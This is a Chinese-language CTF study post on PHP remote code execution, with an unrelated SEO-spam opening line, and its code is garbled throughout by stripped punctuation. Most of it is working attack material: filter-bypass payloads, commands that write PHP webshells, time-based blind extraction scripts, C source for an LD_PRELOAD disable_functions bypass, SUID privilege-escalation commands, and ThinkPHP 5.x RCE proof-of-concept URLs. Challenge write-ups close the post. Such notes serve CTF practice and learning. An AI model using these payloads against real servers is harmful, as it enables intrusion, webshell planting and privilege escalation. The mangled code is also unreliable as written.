织梦园模板网站,网站建设对称对比型,棋牌网站开发搭建,那个网站可以做logo从最近的xyctf中#xff0c;最大的感受就是自己的rce基础并不牢固#xff0c;所以马上来恶补一下
漏洞成因
php和其他语言有很多能够执行系统命令或执行其他php代码的函数#xff0c;因为开发者的使用不当#xff0c;使得用户能够控制传递给执行命令的函数的参数#xf…从最近的xyctf中最大的感受就是自己的rce基础并不牢固所以马上来恶补一下
漏洞成因
php和其他语言有很多能够执行系统命令或执行其他php代码的函数因为开发者的使用不当使得用户能够控制传递给执行命令的函数的参数那么就用可能被用来执行恶意命令接下来的学习以ctf中最常用的php来学习
利用方法
命令注入
执行系统命令的函数和方法
执行的结果都是以字符串返回执行失败返回空区别是能不能直接回显
函数描述system($cmd)可以直接回显shell_exec($cmd)不直接回显配合echo等才能看到结果passthru($cmd)可直接回显exec($cmd)不能直接回显配合echo等才能看到结果$cmdshell_exec的变种系统命令用反引号包裹也能执行不能直接回显
linux也通过echo 输入输出重定向来写入一句话木马
代码注入
利用一些php函数来执行系统命令
1.eval
rce中最常用的函数将php代码以字符串形式传入显示执行结果代码结束要加;
2.preg_replace()
preg_replace(‘正则规则’,‘要替换的字符’‘目标字符’)
正则规则中使用\e修饰符php会被后面要替换的字符当作php代码执行, 如 php7的匹配正则模式不能由get传入但php5可以 3.create_function() 如图create_function()可以创建动态函数$args是参数$code具体动态函数的要执行的代码用eval执行所以完全可以拿来写一句话
?PHP $funccreate_function(,$_POST[cmd]);$func();?4.call_user_func
! 5.call_user_func_array
用法同call_user_func只是后面传的参数要是数组
6.array_map
array_map( c a l l b a c k , callback, callback,array)对传入的array数组的每个元素应用传入的$callback回调函数 7.array_filter
array_filter( a r r a y , array, array,callback)对 a r r a y 数组用 array数组用 array数组用callback函数过滤掉一些元素用法与array_map相近只是参数顺序相反
8.popen
#利用方式
$handlepopen(ls,r);echo fread($handle,2096); 9.proc_open
用popen的升级版用起来比popen稍微复杂将命令作为单独的进程执行并控制其输入、输出和错误管道
#原始
// 要执行的命令
$test whoami;
// 用于设置进程管道的数组
$array array(array(pipe, r), // 标准输入管道array(pipe, w), // 标准输出管道array(pipe, w) // 标准错误输出管道
);
// 执行命令并创建进程
$fp proc_open($test, $array, $pipes);
// 从标准输出管道中读取数据并打印
echo stream_get_contents($pipes[1]);
// 关闭进程
proc_close($fp);
#压缩去掉换行
$testwhoami;$arrayarray(array(pipe,r),array(pipe,w),array(pipe,w));$fpproc_open($test,$array,$pipes);echo stream_get_contents($pipes[1]);proc_close($fp);命令注入绕过
题目的重点都是如何绕过过滤
过滤命令关键字
其他命令平替
1.使用其他查看文件的命令绕过比如过滤cat
常见平替
tac,less,more,nl,head,tail还有其他命令可以读取文件
命令描述vim ,vi /flag编辑器 后跟文件也能显示出内容od -c 或 -a /flag读取二进制数据加-a或-c就会输出常见字符sortunqiue /flag排序去重命令都会显示文件内容file -f ,date -f , dig -f /flag利用报错读出文件内容sh /flag 2%261也是利用报错但是要把错误输出重定向到标准输出流如果get传输要url编码strings /flagstrings 读取二进制文件中的可打印字符rev /flag逆序输出paste /flagpaste用于合并文件内容只有一个文件也可以diff /flag /etc/passwddiff用于比较文本内容会显示各个文本的内容需要一个已知文件
单用base64 /flag也可以得到flag
date 是查看时间的命令但是date -f 可以利用它的报错信息读取文件 dig -f 也可以
!
但是在php的system中date-f读不出来但是 dig -f可以
过滤ls
dir在ubuntu也可以扫描目录但在其他环境可能报 command not found
无效转义
在命令的字符中添加 \ $不影响命令的执行单双引号要加两个 ·
编码
1.十六进制编码
用xxd工具xxd有两个选项-r可以把十六进制数据转为二进制-p则是以 postscript plain hexdump 风格易于阅读和打印输出数据配合管道符传递给shell就可以执行命令 echo 636174202f666c6167 | xxd -r -p|bash或者用shell的内联执行
$(printf \x63\x61\x74\x20\x2f\x66\x6c\x61\x67) 2.八进制编码
$(printf \143\141\164\040\057\146\154\141\147)
$(echo \143\141\164\040\057\146\154\141\147)3.base64编码32也行配合管道符
echo Y2F0IC9mbGFn|base64 -d|bash
echo MNQXIIBPMZWGCZY|base32 -d|bash
echo ZWNobyAnPD89QGV2YWwoJF9QT1NUW2NtZF0pPz4nID4gc2hlbGwucGhw|base64 -d|bash #写入一句话变量引用
把要执行的命令都每个单词从拆开几个部分用一个变量定义使用时拼接在一起
al;bs;c/;$a$b $c -ls /
aca;bt;c/fl;dag;$a$b $c$d -cat /flag很明显这个方法;不能被过滤
过滤关键文件名
使用通配符
具体例子使用可上网搜索 *匹配一个或多个字符 如cat /f* ?匹配一个字符如cat /fla? […] ,匹配指定范围内的字符如cat /[e-g][k-m]?[e-h] 或/[e-g][k-m][0-b][e-h][-z]匹配所有字母有时a被过滤可用
过滤空格
${IFS}
${IFS}绕过${IFS}在linux的环境变量中代表空格 如cat${IFS}/flag
重定向
如cat/flag
!
%09
%09就是制表符url解码后传给php就和空格差不多如cat%09/flag
过滤/
逻辑符号拼接命令
有一些题目是代码本身会执行一些正常的命令如ping这时我们可以利用逻辑符号在后面拼接我们注入的命令
linux命令中逻辑符号的作用如下
cmd1 cmd2两个命令同时在后台执行,前面的是否执行成功不影响后续命令执行
cmd1 cmd2按顺序先后执行命令输出结果前面的失败后面也无法执行
cmd1 | cmd2| 是管道符用于把前面命令的结果作为变量输入到后面的命令如果后面命令用不到且正常执行不报错
那就正常执行后面的命令如 前面的执行失败不影响后面执行
cmd1 || cmd2前面的命令执行失败才会执行后面的命令否则后面的命令不执行
cmd1;cmd2顺序执行命令
过滤了/就可以用命令连接符号多次cd跳转到根目录执行操作
cd ..;cd ..;cd ..;ls
或
cd ..%26%26cd ..%26%26cd ..%26%26ls截取环境变量
没有过滤 $ {}时可以使用
$HOME 环境变量 就是/用户名截取第一个就是/ $0可以表示bash
代码注入相关绕过
过滤system
如果是代码注入且过滤了system可以尝试
其他函数
使用其他可以执行命令的函数如passthrushell_exec但是没有回显配合echo,print,var_dump使用
或者使用php内置的扫描目录和读取文件的函数。如
扫描目录scandir
读取文件file_get_contents , readfile , file highlight_file , show_source
读取文件最后两个函数不用var_dump其余都要拼接执行
如
(s.y.s.t.e.m)(whoami);
(s.y.s.t.e.m)(whoami);php7才可以
编码
可以把php的函数名用八进制或十六进制编码php7可以,动态执行函数
\x73\x79\x73\x74\x65\x6d(\x6c\x73); - system(ls)
\163\171\163\164\145\155(\154\163); - system(ls)进制字符串要用双引号包裹双引号中如果有变量会解析变量而单引号中不管是否有变量都当作字符串
或者hex2bin
hex2bin(73797374656d)(hex2bin(636174202f666c6167)); #system(cat /flag)过滤引号
可以用参数逃逸这个方法也能用在过滤很多关键字的情况如
?asystem($_GET[b]);bcat /flag
?a$_GET[b]($_GET[c]);bsystemccat /flag使用反引号如
?aecho ls;无数字字母
如果题目过滤了常规的数字和字母就要使用其他一些运算方法在执行php代码前先进行一定运算
把一些不可见字符的二进制数据通过一些数学运算算出字母和数字再执行
异或
使用大佬的两个配套脚本如
?php// 打开一个文件用于写入如果文件不存在则创建该文件$myfilefopen(xor_rce.txt,w);// 初始化一个空字符串用于存储生成的结果$contents;// 循环遍历 0 到 255 的所有可能的字节值for($i0;$i256;$i){for($j0;$j256;$j){// 如果字节值小于 16则将其转换为两位十六进制数以便于 URL 编码if($i16){$hex_i0.dechex($i);}else{$hex_idechex($i);}if($j16){$hex_j0.dechex($j);}else{$hex_jdechex($j);}// 定义用于匹配不允许的字符的正则表达式$preg/[0-9]|[a-z]|\^|\|\~|\$|\[|\]|\{|\}|\|\-/i; // 根据题目给的正则表达式修改即可// 使用 URL 解码将十六进制转换为ascii码然后检查是否存在不允许的字符if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){echo ; // 如果存在不允许的字符则不做任何操作}else{// $a%.$hex_i;$b%.$hex_j;$c(urldecode($a)^urldecode($b));// 如果异或结果是可见字符则将其的url编码添加到结果字符串中if(ord($c)32ord($c)126){$contents$contents.$c. .$a. .$b.\n;}}}}// 将结果字符串写入到文件中fwrite($myfile,$contents);// 关闭文件句柄fclose($myfile);
?
两个ascii字符分别0-255进行异或运算如果结果是可见字符且不符合设定的正则添加这两个字符的url编码到文件字符中
这样一来就可以把可见字符用两个不可见字符的异或来表示如 当然大佬还写了利用这个文件生成payload的脚本
import requests
import urllib
from sys import *
import osdef action(arg):s1s2for i in arg:fopen(xor_rce.txt,r)while True:tf.readline()if t:breakif t[0]i:# print(i)s1t[2:5]s2t[6:9]breakf.close()output(\s1\^\s2\)return(output)while True:paramaction(input(\n[] your function: ))action(input([] your command: ));print(\n,param)运行结果 所以payload即为
?a(%0c%05%0c%08%05%0d^%7f%7c%7f%7c%60%60)(%0c%0c%00%00^%60%7f%20%2f);取反
利用取反运算这个可以不用大佬脚本自己随便弄一下都行如
?php
$php_codesystem;
$cmdls /;
$arrarray($php_code,$cmd);
$res(~.urlencode(~$php_code).)(~.urlencode(~$cmd).);;
echo $res;
#结果
%8F%97%8F%96%91%99%90
//phpinfo()-payload:
?a(~%8F%97%8F%96%91%99%90)();
//system(ls /);-payload:
?a(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);如果是post传参用hackbar传过去url解码有问题用bp就可以
自增
在 PHP 中对一个字母型变量执行自增运算时会将该字母转换为其 ASCII 码值执行自增运算后再将结果转换回字母。具体来说字母型变量的自增运算实际上是对其 ASCII 码值加一然后将结果转换回字母。如 我们可以通过不断的自增来获得想要的字符eval可以执行php代码把自增的代码传进去得到想要的字符后最后构造出能rce的样子
但是这是无数字字母php代码中也不能含有字母所以我们的自增起点要稍微变一下如 将空数组和字符串拼接时php会把空数组转为字符串Array再去拼接取出下标为0的字符就是A这里不能直接用0而是用一个表达式$值为假就会返回0从而取到了字母A
然后开始自增获得其他字母得到$_GET或$_POST,大佬脚本如下
$_GET
?php
$_[].;//Array
$_$_[$];//A
$_;//B
$_;//C
$_;//D
$_;//E
$__$_;//E
$_;//F
$_;//G
$___$_;//G
$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;//T
$_$___.$__.$_;//GET
$__.$_;//_GET
var_dump($_);
#$res$_[].;$_$_[$];$_;$_;$_;$_;$__$_;$_;$_;$___$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_$___.$__.$_;$__.$_;$$_[_]($$_[__]);
?代码中 经 过两次自增和拼接变为 ‘ _经过两次自增和拼接变为 经过两次自增和拼接变为‘_GET,所以最后可以利用的代码变为 G E T [ ] ( _GET[_]( GET[](GET[__]);,,__传入payload即可
要把原始代码去掉换行再url编码一下最终payload
%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27%27%3D%3D%27%24%27%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D%27_%27.%24_%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B_system__ls /无字母
其实就是利用八进制编码这样构造的payload没有字母由于我本地php测试总是失败用一道题目来测试
源码
?php
highlight_file(__FILE__);
function waf($cmd){$white_list [0,1,2,3,4,5,6,7,8,9,\\,\,$,]; $cmd_char str_split($cmd);foreach($cmd_char as $char){if (!in_array($char, $white_list)){die(really ez?);}}return $cmd;
}
$cmdwaf($_GET[cmd]);
system($cmd);这题只允许白名单白名单里只有数字和一些特殊的字符,$,\,很明显就是要八进制编码
$\154\163 #ls但是这样执行的命令无法加参数要读取flag需要用到,类似cat /flag
$\143\141\164$\057\146\154\141\147 这方面的详细知识可以看这篇大佬的文章https://xz.aliyun.com/t/12242
无回显
如果用exec这类没有回显的函数可以考虑写一句话或者 把命令结果重定向或写入文件中
有写入权限
写入一句话木马用到重定向符号
?aecho%20%27?%3Deval($_POST[cmd])?%27%20shell.phptee 命令结果写入文件
要用到管道符|
cat /flag | tee a然后再去访问a即可
无写入权限
可以尝试bash时间盲注 需要到|
awk截取第一行内容cat /flag | awk 1
cut 截取第一列内容cat /flag | awk NR1 | cut -c 1 不过一般题目中flag文件一般都只有一行awk 可以省略当然如果flag.php就不能省略了
获取文件的文本长度行数
awk NR1 { print length($0); exit } /flag #获取第一行的文本长度
awk END {print NR} /flag #获取行数结合 if sleep实现时间延时
?aif [ cat /flag | awk NR1 | cut -c 1 F ];then sleep 2;fi做了足够的铺垫后就应该写脚本了主要语句
if [ 28 ls /| awk END{print NR} ];then sleep 2;fi #猜文件数量
if [ ls / | awk NR1 {print} 1 ]; then sleep 2; fi #猜每个文件的文件名长度
if [ ls / | awk NR1 | cut -c 1 b ]; then sleep 2;fi #猜根目录下的文件目录名
if [ cat /flag_is_he3re|cut -c 1F ]; then sleep 2;fi #猜字符完整脚本
mport requests
import string
import time
import urllib.parse as up
str_list string.ascii_letters string.digits [{}.-_]
urlhttp://192.168.184.200/rce/play.php?adef condition(url):starttime.time()resrequests.get(url,timeout3)endtime.time()if int(end-start)2:return Truereturn False
def check_flag(filename):#发现可能的flag文件checks[f,l,a,g]for che in checks:if che not in filename:return Falsereturn True
def try_flag(catalog/):#获取有多少个文件file_nums0for i in range(1,50):get_nums_cmdif [ ls {} | awk END{{print NR}}) {} ]; then sleep 2; fi.format(catalog,i)print(get_nums_cmd)if condition(urlup.quote(get_nums_cmd)):file_numsiprint(f有{file_nums}个文件)breakfilenames_list[]runtar#获取文件名长度然后猜文件名for i in range(1,file_nums1):len0namefor k in range(1,50):get_filelen_cmdif [ ls {} | awk \NR{} {{print length}}\ {} ]; then sleep 2; fi.format(catalog,i,k)if condition(urlup.quote(get_filelen_cmd)):lenkprint(f第{i}个文件名字长度为{len})breakfor j in range(1,len1):for k in str_list:get_filename_cmdif [ ls {} | awk NR{} | cut -c {} {} ]; then sleep 2;fi.format(catalog,i,j,k)if condition(urlup.quote(get_filename_cmd)):namekprint(name)breakfilenames_list.append(name)if check_flag(name):runinput(f疑似发现了flag文件,{name}是否继续c-继续其他放弃)if run c:continueelse:tarnamebreakprint(f确认发现了flag文件{tar}开始查找)flag_len0flag#发现了flag之后就猜flagfor i in range(1,70):get_flaglen_cmdif [ cat {}{}| awk \{{print length}}\ {} ]; then sleep 2;fi.format(catalog,tar,i)if condition(urlup.quote(get_flaglen_cmd)):flag_leniprint(f{tar}文件字符数为{i})for i in range(1,flag_len1):for k in str_list:get_flag_cmdif [ cat {}{}|cut -c {} {} ]; then sleep 2;fi.format(catalog,tar,i,k)if condition(urlup.quote(get_flag_cmd)):flagkprint(flag)
try_flag()还可以cp复制或者mv移动把flag搞到网站目录再访问得flag
disable_function限制
这种情况是有了webshell后但是无法正常执行命令
当php.ini把很多能执行命令的函数都设置进了disable_function此时如果直接执行是执行不了的如 一种思路就是找漏网之鱼看能不能利用没被ban的函数另一种就是利用LD_PRELOAD环境变量加载恶意so文件这里主要学习后者
这个主要也是利用大佬的脚本https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD原理的讲解也在里面很详细这里主要记录自己的对这个方法的一些浅薄理解
当运行可执行文件时操作系统的动态链接器会负责加载并链接需要的共享对象文件(.so文件)找到要用到的系统底层函数解析符号引用加载到内存中使得程序能够正常执行。
而linux系统环境变量$LD_PRELOAD可以设置优先加载的so文件如果能设置为我们控制的so文件其中包含了我们自己实现的恶意同名底层函数linux要执行该函数时会去so文件寻找而我们的so文件由于$LD_PRELOAD被优先加载其中就有被重写过的同名函数于是跳过了正常的系统函数,执行我们的恶意函数这个被利用的函数通常是getuid()不需要传入变量返回值简单
就算有了恶意so文件但是怎么触发getuid()呢常规的执行系统命令的函数被ban需要寻找别的方法启动新的进程调用大佬找到是mail()函数mail()会调用 /usr/sbin/sendmail,它会调用getuid()
但是sendmail是一个邮件传输代理工具不是自带的目标环境不一定安装或者有可能被禁用所以大佬说劫持getuid并不是最好的选择但是这个劫持的思路是我值得学习的
大佬想到了另一种方式不拘泥于具体的底层方法想办法让恶意so在被加载时就能rce代码如下
#define _GNU_SOURCE#include stdlib.h
#include stdio.h
#include string.hextern char** environ;__attribute__ ((__constructor__)) void preload (void)
{// get command line options and argconst char* cmdline getenv(EVIL_CMDLINE);// unset environment variable LD_PRELOAD.// unsetenv(LD_PRELOAD) no effect on some // distribution (e.g., centos), I need crafty trick.int i;for (i 0; environ[i]; i) {if (strstr(environ[i], LD_PRELOAD)) {environ[i][0] \0;}}// executive commandsystem(cmdline);
}__attribute__((constructor)) 是 C 和 C 语言中的一个编译器扩展用于指定一个函数作为程序启动时的构造函数即在程序运行之前在main()之前自动执行该函数。若它出现在共享对象中时那么一旦共享对象被系统加载该函数就会被执行
函数会从环境变量中读取命令然后执行php恰好有个方法putenv()可以加入自定义的环境变量
大佬的php利用脚本
?phpecho p bexample/b: http://site.com/bypass_disablefunc.php?cmdpwdoutpath/tmp/xxsopath/var/www/bypass_disablefunc_x64.so /p;$cmd $_GET[cmd];$out_path $_GET[outpath];$evil_cmdline $cmd . . $out_path . 21;echo p bcmdline/b: . $evil_cmdline . /p;putenv(EVIL_CMDLINE . $evil_cmdline);$so_path $_GET[sopath];putenv(LD_PRELOAD . $so_path);mail(, , , );echo p boutput/b: br / . nl2br(file_get_contents($out_path)) . /p; unlink($out_path);
?代码中通过putenv加入EVIL_CMDLINE环境变量为我们rce代码用于so文件执行设置LD_PRELOAD变量为我们上传的so文件路径我们要在目标php文件中包含这个php并传入cmd—命令outpath—命令结果保存文件路径 sopath—so文件路径php执行mail函数时sendmail子程序就会优先链接我们的恶意so从而执行命令
在我的实验环境中蚁剑连接?a$funccreate_function(,$_POST[cmd]);$func();连接后果然不能执行命令 尝试把phpso文件上传到靶机的有上传权限的目录这里我选择/tmp 上传成功在目标php中传如下payload
?ainclude(/tmp/db_bypass.php);cmdcat /flag outpath/tmp/a.txtsopath/tmp/bypass_disablefunc_x64.so实验成功
其他知识点
suid提权
参考大佬文章学习https://tttang.com/archive/1793/
SUID 是 Unix/Linux 系统中的一种特殊权限设置全称为 Set User ID。当一个可执行文件拥有 SUID 权限时当普通用户执行该文件时该文件的有效用户 ID 会被临时设置为文件所有者的用户 ID而不是执行者的用户 ID。
简单来说SUID 权限允许普通用户以文件所有者的权限来执行该文件即使普通用户本身没有对应的权限
suid权限就是执行权限的特殊设置例如
chmod us filename #增加suid权限
chmod u-s filename #去除suid权限这里把flag文件设为 700现在无法直接查看 这时要利用有suid root 权限的二进制文件执行这些文件可以以文件所有者即root的权限运行利用这些查看flag
find / -user root -perm -4000 -print 2/dev/nullfind / 从根目录开始查找
-user root 属于root用户
-perm -4000 设置了suid权限
-print 打印匹配到文件路径
2/dev/null 把错误输出重定向到/dev/null /dev/null不会显示任何输入的信息加上就相当于不打印报错信息
不加的话会有很多 permission denied 的报错影响观察正常来说常用的命令一般都没有suid权限题目如果考察这个知识点也会给某个命令加上我这里给cp find加上了 通过cp读取flag
cp /flag /dev/stdout
/dev/stdout 标准输出把文件复制到这里就相当于在终端输出该文件的内容通过find执行系统命令
/usr/bin/find /flag -exec cat /flag \;所以稍微总结一下如果有suid权限可以执行shell或读取flag的二进制文件,前提是拿到了一个shell
nmap2.0-5.21
nmap --interactive之后执行:
nmap !sh
sh-3.2# whoami
root//这是真正意义上的提权进入到了root用户的shelltime
time cat /flag # time 后跟命令可执行vim
vim vi命令模式也可以执行系统命令 less more
less,more读取较大文件时会进去翻页模式可以用!shell执行shell命令 more执行命令不会退出翻页less会
awk
awk可以用来执行系统命令
awk BEGIN { system(ls -l) }dmesg
dmesg -H 以易读格式输出内核环形缓冲区也是可以!shell执行命令 env
env用于输出环境变量后面也是可以跟命令来执行如env ls
flock
是Linux 的文件锁命令,也能用来执行系统命令flock -u / whoami
ionice nice
前者设置程序的IO调度与优先级后者修改程序的优先级都用可以用来执行命令
ionice whoami nice whoami
strace
strace -o /dev/null ls
其他命令如datepaste等用来平替cat的命令有suid权限利用它们读取flag
thinkphp rce利用
主要是要知道对应的thinkphp版本然后使用对应的poc
网上找的一些poc
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s.|think\config/getnamedatabase.username
2、http://192.168.1.1/thinkphp/public/?s.|think\config/getnamedatabase.password
3、http://url/to/thinkphp_5.0.22/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]id
4、http://url/to/thinkphp_5.0.22/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1thinkphp 5
5、http://127.0.0.1/tp5/public/?sindex/\think\View/displaycontent%22%3C?%3E%3C?php%20phpinfo();?%3Edata1thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]id
7、http://localhost/thinkphp_5.0.21/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1thinkphp 5.1.*
8、http://url/to/thinkphp5.1.29/?sindex/\think\Request/inputfilterphpinfodata1
9、http://url/to/thinkphp5.1.29/?sindex/\think\Request/inputfiltersystemdatacmd
10、http://url/to/thinkphp5.1.29/?sindex/\think\template\driver\file/writecacheFileshell.phpcontent%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?sindex/\think\view\driver\Php/displaycontent%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1
13、http://url/to/thinkphp5.1.29/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]cmd
14、http://url/to/thinkphp5.1.29/?sindex/\think\Container/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1
15、http://url/to/thinkphp5.1.29/?sindex/\think\Container/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]cmdthinkphp 5.0.23完整版debug模式
32、(post)public/index.php (data)_method__constructfilter[]systemserver[REQUEST_METHOD]touch%20/tmp/xxxthinkphp 5.0.23(完整版)
33、postpublic/index.php?scaptcha (data) _method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]ls -al
# filter[]是要执行的php函数 server[REQUEST_METHOD]是给该函数的参数
thhinkphp 5.0.10完整版
34、(post)public/index.php?sindex/index/index (data)swhoami_method__constructmethodfilter[]system要知道版本可以通过输入?s1产生报错通过报错信息得到版本信息
题目实战
[NewStar2023]So Baby RCE
源码
?php
error_reporting(0);
if(isset($_GET[cmd])){if(preg_match(/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\|\]|||||\/| |\\\\|\*/i,$_GET[cmd])){echo Dont Hack Me;}else{system($_GET[cmd]);}
}else{show_source(__FILE__);
}过滤了很多命令主要是过滤了目录分割符/没有过滤cd..那就用cd 和跳转到根目录然后ls用${IFS}绕过空格payload如下
cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}ls过滤了fl可以用f???来绕过也可以添加$来绕过关键字这里我用paste查看文件吧payload
cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}paste${IFS}f????????????????查阅网上资料时还发现可以curl 下载 一句话木马不过需要公网的vps
极客大挑战 RCE me
题目源码
?php
error_reporting(0);
if(isset($_GET[code])){$code$_GET[code];if(strlen($code)40){die(This is too Long.);}if(preg_match(/[A-Za-z0-9]/,$code)){die(NO.);}eval($code);
}
else{highlight_file(__FILE__);
}// ?很明显是无数字字母rce可以异或或取反这是使用异或
?code(%0c%08%0c%09%0e%06%0f^%7c%60%7c%60%60%60%60)(); #phpinfo()本来想直接用system查看但是失败感觉可能是被禁了再来看phpinfo 发现禁用了很多系统函数assert没被禁那就assert(eval($_POST[a]));不能直接eval(eval($_POST[a]))
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);连接成功由于disable_function的限制命令用不了传so文件和对应的php上去跟实验步骤一样即可
code继续assert(eval($_POST[a]))
?code(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);;cmdls / outpath/tmp/a.txtsopath/tmp/bypass_disablefunc_x64.so
post:
ainclude(/tmp/db_bypass.php)
# code: assert(include(/tmp/db_bypass.php))发现有readflag程序直接运行 NewStar2023 R!!!C!!!E!!!
源码
?php
highlight_file(__FILE__);
class minipop{public $code;public $qwejaskdjnlka;public function __toString(){if(!preg_match(/\\$|\.|\!|\|\#|\%|\^|\|\*|\?|\{|\}|\|\|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i, $this-code)){exec($this-code);}return alright;}public function __destruct(){echo $this-qwejaskdjnlka;}
}
if(isset($_POST[payload])){//wanna try?unserialize($_POST[payload]);
} 是exec无回显那就要考虑写入或者盲注了
尝试了一下tee写入发现是可以的单引号绕过关键字过滤即可exp
?php
class minipop{public $codels /|tee /var/www/html/a;public $qwejaskdjnlka;public function __toString(){}public function __destruct(){}
}
$anew minipop();
$a-qwejaskdjnlka$a;
echo serialize($a);
# O:7:minipop:2:{s:4:code;s:26:ls /|tee /var/www/html/a;s:13:qwejaskdjnlka;r:1;}发现了flag直接查看 后面看了官方wp发现预期解是bash盲注于是我尝试写脚本 过滤了{},原来的脚本用不了把命令改为用sed 实现三剑客看来真的要再去复习一下
脚本
import requests
import string
import time
import urllib.parse as up
str_list string.ascii_letters string.digits {[.-_]}
urlhttp://b70d0e66-be37-4788-80fd-49d791990778.node5.buuoj.cn:81/def condition(url,data):time.sleep(0.5)starttime.time()resrequests.post(url,timeout3,datadata)endtime.time()if int(end-start)2:return Truereturn Falsedef try_flag(catalog/):#查找含有flag的flag文件名长度flag_len14base_payload O:7:minipop:2:{{s:4:code;N;s:13:qwejaskdjnlka;O:7:minipop:2:{{s:4:code;s:{0}:{1};s:13:qwejaskdjnlka;N;}}}}data{payload:}flag_nameflag#获取长度题目过滤了.*,只好匹配flag整体for i in range(1,30):get_len_cmdif [ ls {} | sed -n \/flag/p\ | cut -c 1-|wc -m {} ];then sleep 2;fi.format(catalog,i)get_len_payloadbase_payload.format((len(get_len_cmd)),get_len_cmd)data[payload]get_len_payloadif condition(url,data):flag_leniprint(f长度为{i})for i in range(1,flag_len):for k in str_list:get_flagname_cmdif [ ls {} | sed -n \/flag/p\ | cut -c {} {} ];then sleep 2;fi.format(catalog,i,k)get_flagname_payloadbase_payload.format((len(get_flagname_cmd)),get_flagname_cmd)data[payload]get_flagname_payloadif condition(url,data):flag_namekprint(flag_name)print(f发现了flag: {flag_name})#获取内容for i in range(1,70):for k in str_list:get_flag_cmdif [ cat {}{} | cut -c {} {} ];then sleep 2;fi.format(catalog,flag_name,i,(k))# print(get_flag_cmd)get_flag_payloadbase_payload.format(len(get_flag_cmd),get_flag_cmd)data[payload]get_flag_payloadif condition(url,data):flagkprint(flag)try_flag()
# print(str_list)省略了获取flag文件内容字符的过程直接1到70只要前面的能爆出来就ok不影响 访问太多容易报错而且不知道为啥 {}没有盲出来
NewStar2023 So Baby RCE Again
源码
?php
error_reporting(0);
if(isset($_GET[cmd])){if(preg_match(/bash|curl/i,$_GET[cmd])){echo Hacker!;}else{shell_exec($_GET[cmd]);}
}else{show_source(__FILE__);
}无回显尝试 ls / | tee /var/www/html/a写入访问a发现有结果 尝试 cat /ffll444aaggg | tee /var/www/html/b但是访问b没有结果估计权限有问题写个一句话拿shell看看
?cmdecho %3fphp echo hello;eval(\$_POST[cmd]);%3f shell.php写入成功蚁剑连接看看flag文件的权限 果然是权限不够尝试suid提权看看什么命令有suid root权限 date就有直接date -f读取即可 NewStar2023 Final
一打开是thinkphp的首页输入s1报错看版本信息 是5.0.23使用对应的poc
get:/?scaptcha
post:_method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]ls但是没有回显命令的结果估计是system被ban了看一下phpinfo
post:_method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]15phpinfo()函数其实是可以传一个整数参数进去的随便传个 果然被ban了用exec写个一句话
_method__constructfilter[]execmethodgetserver[REQUEST_METHOD]echo ?php echo hello;eval($_POST[cmd]);? shell.php 蚁剑链接发现没有权限去读flag 尝试suid提权
find / -user root -perm -4000 -print 2/dev/nullcp有suid权限直接cp /flag_dd3f6380aa0d /dev/stdout 在上网找资料的同时还发现了thinkphp rce漏洞的自动化利用工具https://github.com/Lotus6/ThinkphpGUI
是java工具进入release下载jar包就可运行 不过写一句话getshell这里失败估计也是用system实现的
xyctf:ezmake
过滤了flag*用16进制绕过
echo 636174206d616b6566696c652e706870 | xxd -r -p|sh
把十六进制数据用xxd转为二进制再用shell执行源码
?php
function waf($cmd) {if (preg_match(/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\/,$cmd)){return false;}return $cmd;
}$cmd waf($_GET[cmd]);if ($cmd false) {echo json_encode(array(makefileContent failed, output no));
} else {$makefileContent EOD
SHELL : /bin/bash
.PHONY: FLAG
FLAG: /flag
\t$cmd
EOD;if (file_put_contents(Makefile, $makefileContent) ! false) {$command make -f Makefile 21;$output shell_exec($command);echo json_encode(array(makefileContent $makefileContent, output $output));} else {echo json_encode(array(makefileContent failed, output failed));}
}
?
xyctf:ezmakefile
